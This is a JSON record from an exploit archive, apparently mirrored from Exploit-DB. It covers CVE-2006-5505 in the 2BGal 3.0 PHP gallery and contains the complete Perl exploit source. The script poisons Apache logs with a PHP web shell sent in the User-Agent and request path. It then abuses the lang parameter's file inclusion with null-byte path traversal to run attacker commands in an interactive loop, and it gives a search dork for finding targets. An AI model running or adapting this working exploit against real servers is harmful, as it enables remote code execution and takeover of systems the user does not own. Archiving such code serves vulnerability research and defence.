{"exploit":{"id":"EDB-2698","name":"2BGal 3.0 - '/admin/configuration.inc.php' Local File Inclusion (LFI)","description":"2BGal 3.0 - '/admin/configuration.inc.php' Local File Inclusion (LFI)","cves":["CVE-2006-5505"],"author":"Kw3[R]Ln","published":"2006-11-01","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/2698","path":"exploits/php/webapps/2698.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-2698.pl","vulnerabilities":[{"id":"CVE-2006-5505","state":"PUBLISHED","title":null,"titleSource":null,"description":"Multiple PHP file inclusion vulnerabilities in 2BGal 3.0 allow remote attackers to execute arbitrary PHP code via the lang parameter to (1) admin/configuration.inc.php, (2) admin/creer_album.inc.php, (3) admin/changepwd.php.inc, and unspecified other files. NOTE: the provenance of this information is unknown; the details are obtained from third party information.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2006-5505","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2006-5505"},"updatedAt":"2024-08-07T19:55:52.846Z","retrievedAt":"2026-11-27T17:08:47.290Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-2698.png?v=2","url":"https://exploitbin.com/exploits/EDB-2698","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-2698/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-2698/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# 2BGal 3.0 Remote Command Execution Exploit\n# linK : http://www.ben3w.com/multimedia/devphp_2bgal.php\n#\n# (c)od3d and f0unded by Kw3[R]Ln from Romanian Security Team a.K.A http://RST-CREW.NET\n# Contact: ciriboflacs[AT]YaHOo.com or kw3rln[AT]rst-crew.net\n#\n# d0rk: \"2BGal 3.0 - Powered by Ben3w\"\n#\n# File inclusion: www.site.com/<path>/admin/configuration.inc.php?lang=<local/remote file>\n#\n# Shoutz to [Oo], str0ke, th0r and all members of RST\n# PS: fuck CarcaBot ..another lame romanian guy =))\n\n\nuse IO::Socket;\nuse LWP::Simple;\n\n\n@apache=(\n\"../../../../../var/log/httpd/access_log\",\n\"../../../../../var/log/httpd/error_log\",\n\"../apache/logs/error.log\",\n\"../apache/logs/access.log\",\n\"../../apache/logs/error.log\",\n\"../../apache/logs/access.log\",\n\"../../../apache/logs/error.log\",\n\"../../../apache/logs/access.log\",\n\"../../../../apache/logs/error.log\",\n\"../../../../apache/logs/access.log\",\n\"../../../../../apache/logs/error.log\",\n\"../../../../../apache/logs/access.log\",\n\"../logs/error.log\",\n\"../logs/access.log\",\n\"../../logs/error.log\",\n\"../../logs/access.log\",\n\"../../../logs/error.log\",\n\"../../../logs/access.log\",\n\"../../../../logs/error.log\",\n\"../../../../logs/access.log\",\n\"../../../../../logs/error.log\",\n\"../../../../../logs/access.log\",\n\"../../../../../etc/httpd/logs/access_log\",\n\"../../../../../etc/httpd/logs/access.log\",\n\"../../../../../etc/httpd/logs/error_log\",\n\"../../../../../etc/httpd/logs/error.log\",\n\"../../.. /../../var/www/logs/access_log\",\n\"../../../../../var/www/logs/access.log\",\n\"../../../../../usr/local/apache/logs/access_log\",\n\"../../../../../usr/local/apache/logs/access.log\",\n\"../../../../../var/log/apache/access_log\",\n\"../../../../../var/log/apache/access.log\",\n\"../../../../../var/log/access_log\",\n\"../../../../../var/www/logs/error_log\",\n\"../../../../../var/www/logs/error.log\",\n\"../../../../../usr/local/apache/logs/error_log\",\n\"../../../../../usr/local/apache/logs/error.log\",\n\"../../../../../var/log/apache/error_log\",\n\"../../../../../var/log/apache/error.log\",\n\"../../../../../var/log/access_log\",\n\"../../../../../var/log/error_log\"\n);\n\nprint \"[RST] 2BGal 3.0 Remote Command Execution Exploit\\n\";\nprint \"[RST] need magic_quotes_gpc = off\\n\";\nprint \"[RST] c0ded by Kw3rLN from Romanian Security Team [ http://rst-crew.net ] \\n\\n\";\n\n\nif (@ARGV < 3)\n{\n    print \"[RST] Usage: 2BGal.pl [host] [path] [apache_path]\\n\\n\";\n    print \"[RST] Apache Path: \\n\";\n    $i = 0;\n    while($apache[$i])\n    { print \"[$i] $apache[$i]\\n\";$i++;}\n    exit();\n}\n\n$host=$ARGV[0];\n$path=$ARGV[1];\n$apachepath=$ARGV[2];\n\nprint \"[RST] Injecting some code in log files...\\n\";\n$CODE=\"<?php ob_clean();system(\\$HTTP_COOKIE_VARS[cmd]);die;?>\";\n$socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"$host\", PeerPort=>\"80\") or die \"[RST] Could not connect to host.\\n\\n\";\nprint $socket \"GET \".$path.$CODE.\" HTTP/1.1\\r\\n\";\nprint $socket \"User-Agent: \".$CODE.\"\\r\\n\";\nprint $socket \"Host: \".$host.\"\\r\\n\";\nprint $socket \"Connection: close\\r\\n\\r\\n\";\nclose($socket);\nprint \"[RST] Shell!! write q to exit !\\n\";\nprint \"[RST] IF not working try another apache path\\n\\n\";\n\nprint \"[shell] \";$cmd = <STDIN>;\n\nwhile($cmd !~ \"q\") {\n    $socket = IO::Socket::INET->new(Proto=>\"tcp\", PeerAddr=>\"$host\", PeerPort=>\"80\") or die \"[RST] Could not connect to host.\\n\\n\";\n\n    print $socket \"GET \".$path.\"/admin/configuration.inc.php?lang=\".$apache[$apachepath].\"%00&cmd=$cmd HTTP/1.1\\r\\n\";\n    print $socket \"Host: \".$host.\"\\r\\n\";\n    print $socket \"Accept: */*\\r\\n\";\n    print $socket \"Connection: close\\r\\n\\n\";\n\n    while ($raspuns = <$socket>)\n    {\n        print $raspuns;\n    }\n\n    print \"[shell] \";\n    $cmd = <STDIN>;\n}\n\n# milw0rm.com [2006-11-01]","sha256":"d0984c9cd86e2151fd41b03bc61316f6fe7727d4234d083527728a9eae5c1002","bytes":3664,"fetchedAt":"2026-11-27T17:08:41.061Z","encoding":"utf-8 (display only; download retains original bytes)"}